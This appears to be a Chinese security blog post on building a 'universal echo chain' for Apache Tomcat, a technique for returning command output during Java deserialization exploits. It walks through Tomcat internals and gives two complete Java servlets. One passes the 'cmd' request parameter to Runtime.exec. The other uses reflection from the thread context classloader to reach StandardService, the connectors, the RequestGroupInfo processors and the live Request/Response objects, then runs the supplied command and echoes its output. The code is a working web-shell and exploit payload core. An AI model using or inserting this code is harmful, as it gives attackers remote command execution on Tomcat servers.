tomcat通用回显链从0到1
xDemo
package com.naihe;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
@WebServlet("/cmd")
public class tomcat extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException, IOException {
String cmd = req.getParameter("cmd");
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
resp.getWriter().write(len);
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req,resp);
}
}
当看到这里应该会有人回想,就这?不就是servlet加命令执行么,确实如此,但本文主要讨论的是在反序列化的情况下,如何进行数据回显,因为在反序列化漏洞中无法直接调用HttpServletRequest和HttpServletResponse,只能通过反射获取Request和Response中的内容,上面的代码只是为了方便我们去挖掘和分析Request和Response的传递过程,分析出一条回显链
这里的@WebServlet("/cmd")需要开注解路由,在web.xml配置如下
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
id="WebApp_ID" metadata-complete="false" version="4.0">
<!-- metadata-complete取值为true,表示关闭注解支持 -->
<!-- metadata-complete取值为false,表示启用注解支持 -->
</web-app>
分析流程
直接再index.jsp上下断点
可以看到Http11Processor中已经包含了request和response,可知道,再前面已经有其他类处理过了request和response将其内容传给Http11Processor,因此我们往前看Http11Processor内容从何而来
AbstractProcessorLight.process
AbstractProtocol$ConnectionHandler 在这里查看processor内容
现在我们看是processor是怎么赋值的 AbstractProtocol$ConnectionHandler
进入register方法 register方法大概就是生成一个RequestInfo对象然后再里面填充内容
这里我们看一下this.global是什么
可以看到是一个RequestGroupInfo类
进入RequestGroupInfo,可以看到有个processors,是存储RequestInfo对象得列表,接下来看看RequestInfo是什么
进入RequestInfo,发现里面有个Request,这是我们想要得那个Request么,跟进去看看
进入Request,发现居然没有继承HttpServletResponse,那这应该就不是我们要找的Request,那开发者不可能取一个完全没有关系得类名吧,这岂不是让其他程序员天天坐牢啊
通过网上得资料了解到这个Requests会调用getNote方法返回一个继承至 HttpServletResponse的Response类
这就是我们要的Response类
接下来我们分析setGlobalProcessor
就是把生成的自己添加到RequestInfo中
RequestInfo
上面如何获得Request已经分析完了,接下来我们分析如何让java加载上面的数据
我们只需要找到一个类会被tomcat自动加载 在tomcat源码中可以看到会调用service.addConnector,很明显会用到connector
进入Connector,可以发现ProtocolHandler里面存储的是Http11NioProtocol
下面就是一下继承关系
可以看到最终Http11NioProtocol还是继承自AbstractProtocol
这样一来就可以通过ProtocolHandler来存放我们之前的信息了 service只是一个接口,而StandardService才是其实现类,所以说service就是StandardService
因此我们只需要要获取StandardService就行了
而StandardService可以从WebappClassLoaderBase上下文类加载器中间接获取获取
WebappClassLoaderBase只能获取StandardContext,而回显入口为StandardService,因此我们需要使用ApplicationContext将其封装一遍,在进而获取StandardService
构造方法
standardService为Service的实现类
总结
回显链
package com.naihe;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.List;
@WebServlet("/demo")
public class test extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try {
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
Field connectors = standardService.getClass().getDeclaredField("connectors");
connectors.setAccessible(true);
Connector[] connector = (Connector[]) connectors.get(standardService);
Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
protocolHandler.setAccessible(true);
Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
for (Class<?> declaredClass : declaredClasses) {
if (declaredClass.getName().length()==52){
java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandler.setAccessible(true);
Field global = declaredClass.getDeclaredField("global");
global.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<org.apache.coyote.RequestInfo> requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);
Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req1.setAccessible(true);
for (RequestInfo info : requestInfo) {
org.apache.coyote.Request request = (Request) req1.get(info);
org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response response = request1.getResponse();
String cmd = request1.getParameter("cmd");
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
response.getWriter().write(len);
}
}
}
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException | ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req, resp);
}
}
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